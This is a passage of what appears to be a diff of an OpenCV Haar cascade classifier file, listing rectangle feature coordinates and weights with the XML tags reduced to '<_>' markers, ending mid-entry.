+ <_> + + <_> + 0 0 6 1 -1. + <_> + 3 0 3 1 2. + <_> + + <_> + 15 7 1 12 -1. + <_> + 15 10 1 6 2. + <_> + + <_> + 14 9 4 2 -1. + <_> + 15 9 2 2 2. + <_> + + <_> + 6 9 9 11 -1. + <_> + 9 9 3 11 3. + <_> + + <_> + 12 10 2 2 -1. + <_> + 12 10 1 1 2. + <_> + 13 11 1 1 2. + <_> + + <_> + 2 3 6 13 -1. + <_> + 5 3 3 13 2. + <_> + + <_> + 16 7 4 3 -1. + <_> + 16 8 4 1 3. + <_> + + <_> + 6 7 2 6 -1. + <_> + 7 7 1 6 2. + <_> + + <_> + 17 0 3 1 -1. + <_> + 18 1 1 1 3. + 1 + <_> + + <_> + 18 16 2 2 -1. + <_> + 18 16 1 1 2. + <_> + 19 17 1 1 2. + <_> + + <_> + 12 2 8 2 -1. + <_> + 12 2 4 1 2. + <_> + 16 3 4 1 2. + <_> + + <_> + 4 1 10 4 -1. + <_> + 4 2 10 2 2. + <_> + + <_> + 4 0 2 3 -1. + <_> + 3 1 2 1 3. + 1 + <_> + + <_> + 12 7 3 8 -1. + <_> + 10 9 3 4 2. + 1 + <_> + + <_> + 1 15 2 2 -1. + <_> + 1 15 1 1 2. + <_> + 2 16 1 1 2. + <_> + + <_> + 7 16 2 2 -1. + <_> + 7 16 1 1 2. + <_> + 8 17 1 1 2. + <_> + + <_> + 0 8 2 12 -1. + <_> + 0 11 2 6 2. + <_> + + <_> + 10 6 4 8 -1. + <_> + 10 6 2 4 2. + <_> + 12 10 2 4 2. + <_> + + <_> + 12 6 2 4 -1. + <_> + 12 6 1 2 2. + <_> + 13 8 1 2 2. + <_> + + <_> + 3 12 4 2 -1. + <_> + 3 12 2 2 2. + 1 + <_> + + <_> + 7 9 8 1 -1. + <_> + 9 9 4 1 2. + <_> + + <_> + 3 1 3 16 -1. + <_> + 4 1 1 16 3. + <_> + + <_> + 8 10 6 9 -1. + <_> + 10 10 2 9 3. + <_> + + <_> + 16 14 3 3 -1. + <_> + 17 14 1 3 3. + <_> + + <_> + 14 8 6 12 -1. + <_> + 14 11 6 6 2. + <_> + + <_> + 14 19 6 1 -1. + <_> + 16 19 2 1 3. + <_> + + <_> + 5 8 8 5 -1. + <_> + 9 8 4 5 2. + <_> + + <_> + 9 3 8 3 -1. + <_> + 11 5 4 3 2. + 1 + <_> + + <_> + 9 9 6 10 -1. + <_> + 9 14 6 5 2. + <_> + + <_> + 16 8 3 2 -1. + <_> + 17 8 1 2 3. + <_> + + <_> + 3 0 3 2 -1. + <_> + 4 0 1 2 3. + <_> + + <_> + 13 10 2 1 -1. + <_> + 14 10 1 1 2. + <_> + + <_> + 17 17 2 3 -1. + <_> + 17 18 2 1 3. + <_> + + <_> + 15 14 2 2 -1. + <_> + 15 14 1 1 2. + <_> + 16 15 1 1 2. + <_> + + <_> + 16 18 4 2 -1. + <_> + 16 18 2 1 2. + <_> + 18 19 2 1 2. + <_> + + <_> + 4 17 3 2 -1. + <_> + 5 17 1 2 3. + <_> + + <_> + 1 0 11 2 -1. + <_> + 1 1 11 1 2. + <_> + + <_> + 2 0 10 2 -1. + <_> + 2 1 10 1 2. + <_> + + <_> + 4 10 12 1 -1. + <_> + 8 10 4 1 3. + <_> + + <_> + 2 9 4 6 -1. + <_> + 2 9 2 3 2. + <_> + 4 12 2 3 2. + <_> + + <_> + 15 6 4 14 -1. + <_> + 15 6 2 7 2. + <_> + 17 13 2 7 2. + <_> + + <_> + 10 2 6 12 -1. + <_> + 12 6 2 4 9. + <_> + + <_> + 8 5 6 15 -1. + <_> + 10 10 2 5 9. + <_> + + <_> + 17 8 3 5 -1. + <_> + 18 9 1 5 3. + 1 + <_> + + <_> + 10 6 6 6 -1. + <_> + 12 8 2 6 3. + 1 + <_> + + <_> + 17 8 3 12 -1. + <_> + 18 8 1 12 3. + <_> + + <_> + 5 8 3 4 -1. + <_> + 5 10 3 2 2. + <_> + + <_> + 16 0 4 6 -1. + <_> + 16 0 2 3 2. + <_> + 18 3 2 3 2. + <_> + + <_> + 15 0 5 10 -1. + <_> + 15 5 5 5 2. + <_> + + <_> + 14 8 2 3 -1. + <_> + 15 8 1 3 2. + <_> + + <_> + 3 1 14 3 -1. + <_> + 2 2 14 1 3. + 1 + <_> + + <_> + 0 0 2 13 -1. + <_> + 1 0 1 13 2. + <_> + + <_> + 2 8 6 12 -1. + <_> + 4 8 2 12 3. + <_> + + <_> + 8 7 6 5 -1. + <_> + 10 9 2 5 3. + 1 + <_> + + <_> + 9 8 1 12 -1. + <_> + 9 12 1 4 3. + <_> + + <_> + 1 0 2 4 -1. + <_> + 2 0 1 4 2. + <_> + + <_> + 6 8 8 2 -1. + <_> + 8 8 4 2 2. + <_> + + <_> + 4 6 4 6 -1. + <_> + 5 6 2 6 2. + <_> + + <_> + 12 1 4 6 -1. + <_> + 13 1 2 6 2. + <_> + + <_> + 3 0 9 2 -1. + <_> + 3 0 9 1 2. + 1 + <_> + + <_> + 12 0 4 2 -1. + <_> + 12 1 4 1 2. + <_> + + <_> + 14 18 2 2 -1. + <_> + 14 19 2 1 2. + <_> + + <_> + 12 3 8 4 -1. + <_> + 12 5 8 2 2. + <_> + + <_> + 4 11 1 2 -1. + <_> + 4 11 1 1 2. + 1 + <_> + + <_> + 8 4 9 6 -1. + <_> + 11 4 3 6 3. + <_> + + <_> + 5 10 2 6 -1. + <_> + 5 10 1 3 2. + <_> + 6 13 1 3 2. + <_> + + <_> + 5 10 4 3 -1. + <_> + 6 10 2 3 2. + <_> + + <_> + 12 4 3 1 -1. + <_> + 13 4 1 1 3. + <_> + + <_> + 2 11 18 6 -1. + <_> + 2 13 18 2 3. + <_> + + <_> + 8 6 10 14 -1. + <_> + 8 6 5 7 2. + <_> + 13 13 5 7 2. + <_> + + <_> + 2 2 12 2 -1. + <_> + 2 2 6 1 2. + <_> + 8 3 6 1 2. + <_> + + <_> + 10 7 6 10 -1. + <_> + 10 7 3 5 2. + <_> + 13 12 3 5 2. + <_> + + <_> + 1 2 4 4 -1. + <_> + 3 2 2 4 2. + <_> + + <_> + 3 0 13 2 -1. + <_> + 3 1 13 1 2. + <_> + + <_> + 3 2 11 3 -1. + <_> + 3 3 11 1 3. + <_> + + <_> + 14 8 3 4 -1. + <_> + 14 9 3 2 2. + <_> + + <_> + 9 8 10 4 -1. + <_> + 9 9 10 2 2. + <_> + + <_> + 6 8 6 12 -1. + <_> + 8 8 2 12 3. + <_> + + <_> + 4 7 3 3 -1. + <_> + 5 8 1 1 9. + <_> + + <_> + 1 5 12 15 -1. + <_> + 4 5 6 15 2. + <_> + + <_> + 8 8 8 2 -1. + <_> + 10 8 4 2 2. + <_> + + <_> + 18 0 2 6 -1. + <_> + 19 0 1 6 2. + <_> + + <_> + 6 1 12 5 -1. + <_> + 12 1 6 5 2. + <_> + + <_> + 8 1 6 4 -1. + <_> + 10 1 2 4 3. + <_> + + <_> + 17 5 3 2 -1. + <_> + 18 6 1 2 3. + 1 + <_> + + <_> + 11 1 6 9 -1. + <_> + 8 4 6 3 3. + 1 + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 16 16 2 2 -1. + <_> + 16 16 1 1 2. + <_> + 17 17 1 1 2. + <_> + + <_> + 18 16 1 3 -1. + <_> + 18 17 1 1 3. + <_> + + <_> + 5 7 8 2 -1. + <_> + 9 7 4 2 2. + <_> + + <_> + 8 3 1 16 -1. + <_> + 8 11 1 8 2. + <_> + + <_> + 17 2 2 8 -1. + <_> + 17 2 1 8 2. + 1 + <_> + + <_> + 5 3 4 2 -1. + <_> + 7 3 2 2 2. + <_> + + <_> + 14 6 3 3 -1. + <_> + 15 7 1 1 9. + <_> + + <_> + 2 0 8 9 -1. + <_> + 4 0 4 9 2. + <_> + + <_> + 16 0 3 8 -1. + <_> + 17 0 1 8 3. + <_> + + <_> + 16 0 3 8 -1. + <_> + 17 0 1 8 3. + <_> + + <_> + 17 18 2 2 -1. + <_> + 18 18 1 2 2. + <_> + + <_> + 11 10 8 4 -1. + <_> + 13 10 4 4 2. + <_> + + <_> + 17 5 2 2 -1. + <_> + 17 6 2 1 2. + <_> + + <_> + 12 9 4 3 -1. + <_> + 13 9 2 3 2. + <_> + + <_> + 15 7 3 7 -1. + <_> + 16 7 1 7 3. + <_> + + <_> + 1 5 4 6 -1. + <_> + 2 5 2 6 2. + <_> + + <_> + 2 2 18 10 -1. + <_> + 2 2 9 5 2. + <_> + 11 7 9 5 2. + <_> + + <_> + 8 4 2 3 -1. + <_> + 9 4 1 3 2. + <_> + + <_> + 3 3 12 2 -1. + <_> + 6 6 6 2 2. + 1 + <_> + + <_> + 5 3 12 6 -1. + <_> + 9 3 4 6 3. + <_> + + <_> + 15 7 2 3 -1. + <_> + 15 8 2 1 3. + <_> + + <_> + 5 9 4 6 -1. + <_> + 5 12 4 3 2. + <_> + + <_> + 1 15 6 4 -1. + <_> + 1 15 3 2 2. + <_> + 4 17 3 2 2. + <_> + + <_> + 2 9 2 6 -1. + <_> + 3 9 1 6 2. + <_> + + <_> + 1 18 3 2 -1. + <_> + 1 19 3 1 2. + <_> + + <_> + 16 9 3 2 -1. + <_> + 17 10 1 2 3. + 1 + <_> + + <_> + 7 10 3 4 -1. + <_> + 6 11 3 2 2. + 1 + <_> + + <_> + 16 15 2 2 -1. + <_> + 16 15 1 1 2. + <_> + 17 16 1 1 2. + <_> + + <_> + 16 7 2 2 -1. + <_> + 16 7 1 1 2. + <_> + 17 8 1 1 2. + <_> + + <_> + 16 5 2 2 -1. + <_> + 16 5 1 1 2. + <_> + 17 6 1 1 2. + <_> + + <_> + 0 1 2 8 -1. + <_> + 0 1 1 4 2. + <_> + 1 5 1 4 2. + <_> + + <_> + 7 17 6 3 -1. + <_> + 9 17 2 3 3. + <_> + + <_> + 1 2 3 1 -1. + <_> + 2 2 1 1 3. + <_> + + <_> + 2 13 2 6 -1. + <_> + 2 13 1 3 2. + <_> + 3 16 1 3 2. + <_> + + <_> + 16 15 2 2 -1. + <_> + 16 15 1 1 2. + <_> + 17 16 1 1 2. + <_> + + <_> + 2 10 16 10 -1. + <_> + 2 15 16 5 2. + <_> + + <_> + 10 18 4 2 -1. + <_> + 12 18 2 2 2. + <_> + + <_> + 6 6 4 8 -1. + <_> + 7 6 2 8 2. + <_> + + <_> + 9 10 3 1 -1. + <_> + 10 11 1 1 3. + 1 + <_> + + <_> + 1 13 4 3 -1. + <_> + 3 13 2 3 2. + <_> + + <_> + 5 11 7 2 -1. + <_> + 5 12 7 1 2. + <_> + + <_> + 1 9 3 3 -1. + <_> + 1 10 3 1 3. + <_> + + <_> + 10 7 6 6 -1. + <_> + 12 9 2 2 9. + <_> + + <_> + 5 7 2 4 -1. + <_> + 4 8 2 2 2. + 1 + <_> + + <_> + 5 10 2 4 -1. + <_> + 5 10 1 2 2. + <_> + 6 12 1 2 2. + <_> + + <_> + 14 16 2 2 -1. + <_> + 14 16 1 1 2. + <_> + 15 17 1 1 2. + <_> + + <_> + 2 9 2 10 -1. + <_> + 2 9 1 5 2. + <_> + 3 14 1 5 2. + <_> + + <_> + 14 17 4 2 -1. + <_> + 14 18 4 1 2. + <_> + + <_> + 4 16 1 3 -1. + <_> + 3 17 1 1 3. + 1 + <_> + + <_> + 13 12 4 3 -1. + <_> + 14 13 2 3 2. + 1 + <_> + + <_> + 16 6 4 1 -1. + <_> + 17 7 2 1 2. + 1 + <_> + + <_> + 11 0 9 6 -1. + <_> + 11 3 9 3 2. + <_> + + <_> + 16 13 3 3 -1. + <_> + 15 14 3 1 3. + 1 + <_> + + <_> + 0 7 3 6 -1. + <_> + 1 9 1 2 9. + <_> + + <_> + 11 5 7 2 -1. + <_> + 11 6 7 1 2. + <_> + + <_> + 6 17 6 3 -1. + <_> + 6 18 6 1 3. + <_> + + <_> + 15 17 3 3 -1. + <_> + 16 18 1 1 9. + <_> + + <_> + 7 4 6 1 -1. + <_> + 9 4 2 1 3. + <_> + + <_> + 8 10 6 3 -1. + <_> + 10 10 2 3 3. + <_> + + <_> + 1 5 1 4 -1. + <_> + 1 6 1 2 2. + <_> + + <_> + 12 6 1 4 -1. + <_> + 12 8 1 2 2. + <_> + + <_> + 2 6 3 1 -1. + <_> + 3 7 1 1 3. + 1 + <_> + + <_> + 9 7 1 2 -1. + <_> + 9 8 1 1 2. + <_> + + <_> + 2 2 12 1 -1. + <_> + 8 2 6 1 2. + <_> + + <_> + 18 0 2 4 -1. + <_> + 18 0 1 4 2. + 1 + <_> + + <_> + 1 6 2 1 -1. + <_> + 1 6 1 1 2. + 1 + <_> + + <_> + 4 6 1 4 -1. + <_> + 4 7 1 2 2. + <_> + + <_> + 1 3 19 9 -1. + <_> + 1 6 19 3 3. + <_> + + <_> + 0 0 4 20 -1. + <_> + 0 5 4 10 2. + <_> + + <_> + 0 9 12 2 -1. + <_> + 6 9 6 2 2. + <_> + + <_> + 6 8 6 11 -1. + <_> + 8 8 2 11 3. + <_> + + <_> + 9 7 9 1 -1. + <_> + 12 7 3 1 3. + <_> + + <_> + 4 3 3 8 -1. + <_> + 5 3 1 8 3. + <_> + + <_> + 7 3 2 11 -1. + <_> + 8 3 1 11 2. + <_> + + <_> + 18 4 2 1 -1. + <_> + 18 4 1 1 2. + 1 + <_> + + <_> + 3 8 4 9 -1. + <_> + 5 8 2 9 2. + <_> + + <_> + 16 5 1 12 -1. + <_> + 12 9 1 4 3. + 1 + <_> + + <_> + 2 19 2 1 -1. + <_> + 3 19 1 1 2. + <_> + + <_> + 2 1 6 6 -1. + <_> + 5 1 3 6 2. + <_> + + <_> + 11 0 8 1 -1. + <_> + 15 0 4 1 2. + <_> + + <_> + 14 0 4 1 -1. + <_> + 16 0 2 1 2. + <_> + + <_> + 5 4 12 1 -1. + <_> + 11 4 6 1 2. + <_> + + <_> + 10 6 8 2 -1. + <_> + 10 6 4 1 2. + <_> + 14 7 4 1 2. + <_> + + <_> + 6 0 9 3 -1. + <_> + 5 1 9 1 3. + 1 + <_> + + <_> + 0 8 4 6 -1. + <_> + 2 8 2 6 2. + <_> + + <_> + 2 8 3 12 -1. + <_> + 3 8 1 12 3. + <_> + + <_> + 1 17 7 3 -1. + <_> + 1 18 7 1 3. + <_> + + <_> + 1 16 8 2 -1. + <_> + 1 17 8 1 2. + <_> + + <_> + 15 9 2 6 -1. + <_> + 15 9 1 3 2. + <_> + 16 12 1 3 2. + <_> + + <_> + 5 10 12 1 -1. + <_> + 8 10 6 1 2. + <_> + + <_> + 14 11 4 3 -1. + <_> + 15 11 2 3 2. + <_> + + <_> + 2 2 3 15 -1. + <_> + 3 7 1 5 9. + <_> + + <_> + 4 5 3 9 -1. + <_> + 5 8 1 3 9. + <_> + + <_> + 1 8 12 2 -1. + <_> + 7 8 6 2 2. + <_> + + <_> + 15 15 4 5 -1. + <_> + 17 15 2 5 2. + <_> + + <_> + 10 13 9 7 -1. + <_> + 13 13 3 7 3. + <_> + + <_> + 9 5 5 3 -1. + <_> + 8 6 5 1 3. + 1 + <_> + + <_> + 9 0 8 4 -1. + <_> + 9 2 8 2 2. + <_> + + <_> + 6 3 2 6 -1. + <_> + 4 5 2 2 3. + 1 + <_> + + <_> + 10 10 1 4 -1. + <_> + 10 11 1 2 2. + <_> + + <_> + 1 17 5 3 -1. + <_> + 1 18 5 1 3. + <_> + + <_> + 2 4 10 1 -1. + <_> + 2 4 5 1 2. + 1 + <_> + + <_> + 4 18 1 2 -1. + <_> + 4 19 1 1 2. + <_> + + <_> + 5 7 1 3 -1. + <_> + 5 8 1 1 3. + <_> + + <_> + 6 11 4 3 -1. + <_> + 6 11 2 3 2. + 1 + <_> + + <_> + 17 16 3 4 -1. + <_> + 17 18 3 2 2. + <_> + + <_> + 6 11 11 4 -1. + <_> + 6 12 11 2 2. + <_> + + <_> + 6 5 6 1 -1. + <_> + 8 5 2 1 3. + <_> + + <_> + 17 12 2 8 -1. + <_> + 17 16 2 4 2. + <_> + + <_> + 17 6 2 4 -1. + <_> + 17 8 2 2 2. + <_> + + <_> + 10 8 6 2 -1. + <_> + 10 9 6 1 2. + <_> + + <_> + 5 8 3 12 -1. + <_> + 5 12 3 4 3. + <_> + + <_> + 19 7 1 4 -1. + <_> + 19 9 1 2 2. + <_> + + <_> + 1 10 6 1 -1. + <_> + 3 10 2 1 3. + <_> + + <_> + 7 10 3 2 -1. + <_> + 7 10 3 1 2. + 1 + <_> + + <_> + 2 2 8 11 -1. + <_> + 6 2 4 11 2. + <_> + + <_> + 18 4 2 7 -1. + <_> + 18 4 1 7 2. + 1 + <_> + + <_> + 11 3 2 8 -1. + <_> + 11 7 2 4 2. + <_> + + <_> + 16 6 3 3 -1. + <_> + 15 7 3 1 3. + 1 + <_> + + <_> + 10 8 3 7 -1. + <_> + 11 9 1 7 3. + 1 + <_> + + <_> + 14 9 2 6 -1. + <_> + 15 9 1 6 2. + <_> + + <_> + 9 17 6 1 -1. + <_> + 11 17 2 1 3. + <_> + + <_> + 11 4 9 9 -1. + <_> + 14 7 3 3 9. + <_> + + <_> + 14 7 4 7 -1. + <_> + 15 7 2 7 2. + <_> + + <_> + 16 2 3 6 -1. + <_> + 17 2 1 6 3. + <_> + + <_> + 14 13 2 7 -1. + <_> + 15 13 1 7 2. + <_> + + <_> + 0 4 18 12 -1. + <_> + 6 8 6 4 9. + <_> + + <_> + 3 6 7 9 -1. + <_> + 3 9 7 3 3. + <_> + + <_> + 17 4 3 4 -1. + <_> + 18 4 1 4 3. + <_> + + <_> + 5 15 3 3 -1. + <_> + 6 15 1 3 3. + <_> + + <_> + 0 12 2 1 -1. + <_> + 1 12 1 1 2. + <_> + + <_> + 5 8 11 4 -1. + <_> + 5 9 11 2 2. + <_> + + <_> + 8 13 4 7 -1. + <_> + 9 13 2 7 2. + <_> + + <_> + 7 7 5 2 -1. + <_> + 7 8 5 1 2. + <_> + + <_> + 5 9 14 3 -1. + <_> + 5 10 14 1 3. + <_> + + <_> + 15 9 5 4 -1. + <_> + 15 10 5 2 2. + <_> + + <_> + 13 9 3 3 -1. + <_> + 12 10 3 1 3. + 1 + <_> + + <_> + 4 11 4 4 -1. + <_> + 3 12 4 2 2. + 1 + <_> + + <_> + 13 7 2 13 -1. + <_> + 14 7 1 13 2. + <_> + + <_> + 8 8 5 2 -1. + <_> + 8 9 5 1 2. + <_> + + <_> + 5 14 6 4 -1. + <_> + 7 14 2 4 3. + <_> + + <_> + 6 16 3 1 -1. + <_> + 7 17 1 1 3. + 1 + <_> + + <_> + 1 0 18 3 -1. + <_> + 7 1 6 1 9. + <_> + + <_> + 8 0 2 15 -1. + <_> + 8 5 2 5 3. + <_> + + <_> + 13 1 2 4 -1. + <_> + 13 2 2 2 2. + <_> + + <_> + 11 11 9 4 -1. + <_> + 11 12 9 2 2. + <_> + + <_> + 2 11 3 2 -1. + <_> + 2 11 3 1 2. + 1 + <_> + + <_> + 3 5 1 3 -1. + <_> + 2 6 1 1 3. + 1 + <_> + + <_> + 4 17 16 1 -1. + <_> + 8 17 8 1 2. + <_> + + <_> + 4 16 8 3 -1. + <_> + 8 16 4 3 2. + <_> + + <_> + 4 2 4 1 -1. + <_> + 6 2 2 1 2. + <_> + + <_> + 6 4 9 3 -1. + <_> + 6 5 9 1 3. + <_> + + <_> + 6 1 4 1 -1. + <_> + 7 1 2 1 2. + <_> + + <_> + 3 0 7 3 -1. + <_> + 2 1 7 1 3. + 1 + <_> + + <_> + 6 9 3 2 -1. + <_> + 7 9 1 2 3. + <_> + + <_> + 18 3 2 10 -1. + <_> + 18 3 1 5 2. + <_> + 19 8 1 5 2. + <_> + + <_> + 0 9 10 4 -1. + <_> + 0 9 5 2 2. + <_> + 5 11 5 2 2. + <_> + + <_> + 0 3 8 6 -1. + <_> + 0 3 4 3 2. + <_> + 4 6 4 3 2. + <_> + + <_> + 14 8 6 4 -1. + <_> + 14 10 6 2 2. + <_> + + <_> + 17 6 1 2 -1. + <_> + 17 6 1 1 2. + 1 + <_> + + <_> + 14 4 1 10 -1. + <_> + 14 9 1 5 2. + <_> + + <_> + 16 15 2 1 -1. + <_> + 16 15 1 1 2. + 1 + <_> + + <_> + 4 11 4 8 -1. + <_> + 5 11 2 8 2. + <_> + + <_> + 6 13 8 1 -1. + <_> + 8 13 4 1 2. + <_> + + <_> + 13 0 6 11 -1. + <_> + 16 0 3 11 2. + <_> + + <_> + 10 1 8 12 -1. + <_> + 10 4 8 6 2. + <_> + + <_> + 18 18 2 2 -1. + <_> + 18 18 1 1 2. + <_> + 19 19 1 1 2. + <_> + + <_> + 0 15 2 4 -1. + <_> + 0 16 2 2 2. + <_> + + <_> + 16 0 1 2 -1. + <_> + 16 1 1 1 2. + <_> + + <_> + 10 3 10 4 -1. + <_> + 10 3 5 2 2. + <_> + 15 5 5 2 2. + <_> + + <_> + 16 7 3 3 -1. + <_> + 15 8 3 1 3. + 1 + <_> + + <_> + 1 0 12 6 -1. + <_> + 4 0 6 6 2. + <_> + + <_> + 7 0 12 8 -1. + <_> + 10 0 6 8 2. + <_> + + <_> + 5 8 2 3 -1. + <_> + 5 8 1 3 2. + 1 + <_> + + <_> + 16 11 2 2 -1. + <_> + 16 11 1 1 2. + <_> + 17 12 1 1 2. + <_> + + <_> + 15 0 3 12 -1. + <_> + 16 0 1 12 3. + <_> + + <_> + 14 1 3 5 -1. + <_> + 15 2 1 5 3. + 1 + <_> + + <_> + 18 18 2 2 -1. + <_> + 18 18 1 1 2. + <_> + 19 19 1 1 2. + <_> + + <_> + 6 15 2 2 -1. + <_> + 6 15 1 1 2. + <_> + 7 16 1 1 2. + <_> + + <_> + 4 16 2 2 -1. + <_> + 4 16 1 1 2. + <_> + 5 17 1 1 2. + <_> + + <_> + 9 8 3 3 -1. + <_> + 8 9 3 1 3. + 1 + <_> + + <_> + 3 8 3 8 -1. + <_> + 3 10 3 4 2. + <_> + + <_> + 7 16 2 2 -1. + <_> + 7 16 1 1 2. + <_> + 8 17 1 1 2. + <_> + + <_> + 17 4 1 8 -1. + <_> + 17 4 1 4 2. + 1 + <_> + + <_> + 3 15 10 4 -1. + <_> + 3 15 5 2 2. + <_> + 8 17 5 2 2. + <_> + + <_> + 13 0 4 1 -1. + <_> + 15 0 2 1 2. + <_> + + <_> + 8 5 8 7 -1. + <_> + 8 5 4 7 2. + 1 + <_> + + <_> + 16 7 2 2 -1. + <_> + 16 7 1 1 2. + <_> + 17 8 1 1 2. + <_> + + <_> + 16 7 2 2 -1. + <_> + 16 7 1 1 2. + <_> + 17 8 1 1 2. + <_> + + <_> + 15 10 2 3 -1. + <_> + 14 11 2 1 3. + 1 + <_> + + <_> + 11 9 2 3 -1. + <_> + 11 10 2 1 3. + <_> + + <_> + 17 8 3 3 -1. + <_> + 17 9 3 1 3. + <_> + + <_> + 4 1 2 12 -1. + <_> + 4 4 2 6 2. + <_> + + <_> + 11 6 2 2 -1. + <_> + 11 6 1 1 2. + <_> + 12 7 1 1 2. + <_> + + <_> + 5 2 9 12 -1. + <_> + 5 8 9 6 2. + <_> + + <_> + 13 5 6 4 -1. + <_> + 13 5 3 2 2. + <_> + 16 7 3 2 2. + <_> + + <_> + 14 0 4 3 -1. + <_> + 13 1 4 1 3. + 1 + <_> + + <_> + 3 5 10 12 -1. + <_> + 3 5 5 6 2. + <_> + 8 11 5 6 2. + <_> + + <_> + 0 9 9 6 -1. + <_> + 3 11 3 2 9. + <_> + + <_> + 1 4 8 7 -1. + <_> + 5 4 4 7 2. + <_> + + <_> + 15 7 4 5 -1. + <_> + 16 7 2 5 2. + <_> + + <_> + 18 6 2 4 -1. + <_> + 19 6 1 4 2. + <_> + + <_> + 16 9 2 3 -1. + <_> + 16 9 1 3 2. + 1 + <_> + + <_> + 3 2 3 17 -1. + <_> + 4 2 1 17 3. + <_> + + <_> + 18 9 2 10 -1. + <_> + 18 14 2 5 2. + <_> + + <_> + 6 0 14 4 -1. + <_> + 5 1 14 2 2. + 1 + <_> + + <_> + 17 8 3 1 -1. + <_> + 18 9 1 1 3. + 1 + <_> + + <_> + 8 13 4 3 -1. + <_> + 9 13 2 3 2. + <_> + + <_> + 6 8 6 3 -1. + <_> + 5 9 6 1 3. + 1 + <_> + + <_> + 10 7 10 1 -1. + <_> + 10 7 5 1 2. + 1 + <_> + + <_> + 9 7 6 5 -1. + <_> + 12 7 3 5 2. + <_> + + <_> + 13 5 1 12 -1. + <_> + 13 5 1 6 2. + 1 + <_> + + <_> + 1 13 6 5 -1. + <_> + 4 13 3 5 2. + <_> + + <_> + 4 6 4 3 -1. + <_> + 5 7 2 3 2. + 1 + <_> + + <_> + 3 16 2 3 -1. + <_> + 4 16 1 3 2. + <_> + + <_> + 7 2 5 4 -1. + <_> + 7 2 5 2 2. + 1 + <_> + + <_> + 3 13 3 7 -1. + <_> + 4 13 1 7 3. + <_> + + <_> + 16 6 1 3 -1. + <_> + 16 7 1 1 3. + <_> + + <_> + 1 6 8 3 -1. + <_> + 5 6 4 3 2. + <_> + + <_> + 14 9 3 4 -1. + <_> + 13 10 3 2 2. + 1 + <_> + + <_> + 8 10 4 5 -1. + <_> + 9 10 2 5 2. + <_> + + <_> + 0 11 13 6 -1. + <_> + 0 14 13 3 2. + <_> + + <_> + 2 3 1 2 -1. + <_> + 2 3 1 1 2. + 1 + <_> + + <_> + 3 15 12 4 -1. + <_> + 6 15 6 4 2. + <_> + + <_> + 6 7 4 13 -1. + <_> + 7 7 2 13 2. + <_> + + <_> + 17 15 2 2 -1. + <_> + 17 15 1 1 2. + <_> + 18 16 1 1 2. + <_> + + <_> + 12 15 5 2 -1. + <_> + 12 16 5 1 2. + <_> + + <_> + 13 12 1 6 -1. + <_> + 13 14 1 2 3. + <_> + + <_> + 15 0 1 9 -1. + <_> + 12 3 1 3 3. + 1 + <_> + + <_> + 4 9 2 6 -1. + <_> + 4 9 1 3 2. + <_> + 5 12 1 3 2. + <_> + + <_> + 12 10 6 1 -1. + <_> + 14 10 2 1 3. + <_> + + <_> + 11 11 2 3 -1. + <_> + 11 11 1 3 2. + 1 + <_> + + <_> + 12 9 6 2 -1. + <_> + 14 9 2 2 3. + <_> + + <_> + 12 6 2 12 -1. + <_> + 12 6 2 6 2. + 1 + <_> + + <_> + 11 11 2 8 -1. + <_> + 11 11 1 4 2. + <_> + 12 15 1 4 2. + <_> + + <_> + 5 3 6 3 -1. + <_> + 7 3 2 3 3. + <_> + + <_> + 8 7 12 6 -1. + <_> + 8 9 12 2 3. + <_> + + <_> + 3 15 1 2 -1. + <_> + 3 15 1 1 2. + 1 + <_> + + <_> + 12 1 8 3 -1. + <_> + 14 1 4 3 2. + <_> + + <_> + 0 0 12 7 -1. + <_> + 4 0 4 7 3. + <_> + + <_> + 18 2 2 6 -1. + <_> + 18 2 1 3 2. + <_> + 19 5 1 3 2. + <_> + + <_> + 4 0 6 16 -1. + <_> + 4 0 3 8 2. + <_> + 7 8 3 8 2. + <_> + + <_> + 3 16 6 4 -1. + <_> + 5 16 2 4 3. + <_> + + <_> + 4 7 6 3 -1. + <_> + 3 8 6 1 3. + 1 + <_> + + <_> + 11 6 5 3 -1. + <_> + 10 7 5 1 3. + 1 + <_> + + <_> + 3 3 12 8 -1. + <_> + 3 7 12 4 2. + <_> + + <_> + 12 8 2 3 -1. + <_> + 12 9 2 1 3. + <_> + + <_> + 5 10 2 2 -1. + <_> + 6 10 1 2 2. + <_> + + <_> + 17 4 1 14 -1. + <_> + 17 4 1 7 2. + 1 + <_> + + <_> + 5 10 2 3 -1. + <_> + 5 10 1 3 2. + 1 + <_> + + <_> + 6 5 4 9 -1. + <_> + 7 5 2 9 2. + <_> + + <_> + 7 5 12 1 -1. + <_> + 7 5 6 1 2. + 1 + <_> + + <_> + 2 16 2 2 -1. + <_> + 2 16 1 1 2. + <_> + 3 17 1 1 2. + <_> + + <_> + 15 5 3 3 -1. + <_> + 16 6 1 3 3. + 1 + <_> + + <_> + 10 7 3 8 -1. + <_> + 11 8 1 8 3. + 1 + <_> + + <_> + 7 3 3 3 -1. + <_> + 7 4 3 1 3. + <_> + + <_> + 13 3 5 6 -1. + <_> + 13 5 5 2 3. + <_> + + <_> + 0 15 5 3 -1. + <_> + 0 16 5 1 3. + <_> + + <_> + 2 18 18 1 -1. + <_> + 11 18 9 1 2. + <_> + + <_> + 11 14 4 2 -1. + <_> + 13 14 2 2 2. + <_> + + <_> + 3 15 7 2 -1. + <_> + 3 16 7 1 2. + <_> + + <_> + 13 9 3 3 -1. + <_> + 12 10 3 1 3. + 1 + <_> + + <_> + 13 0 3 12 -1. + <_> + 14 1 1 12 3. + 1 + <_> + + <_> + 9 5 3 5 -1. + <_> + 10 5 1 5 3. + <_> + + <_> + 18 14 2 4 -1. + <_> + 18 14 1 2 2. + <_> + 19 16 1 2 2. + <_> + + <_> + 16 19 4 1 -1. + <_> + 18 19 2 1 2. + <_> + + <_> + 17 15 2 5 -1. + <_> + 18 15 1 5 2. + <_> + + <_> + 0 17 6 3 -1. + <_> + 0 18 6 1 3. + <_> + + <_> + 0 4 1 14 -1. + <_> + 0 11 1 7 2. + <_> + + <_> + 5 11 3 5 -1. + <_> + 6 12 1 5 3. + 1 + <_> + + <_> + 12 8 3 1 -1. + <_> + 13 8 1 1 3. + <_> + + <_> + 18 0 2 7 -1. + <_> + 19 0 1 7 2. + <_> + + <_> + 3 8 6 10 -1. + <_> + 3 13 6 5 2. + <_> + + <_> + 17 0 2 5 -1. + <_> + 18 0 1 5 2. + <_> + + <_> + 18 0 2 12 -1. + <_> + 18 0 2 6 2. + 1 + <_> + + <_> + 2 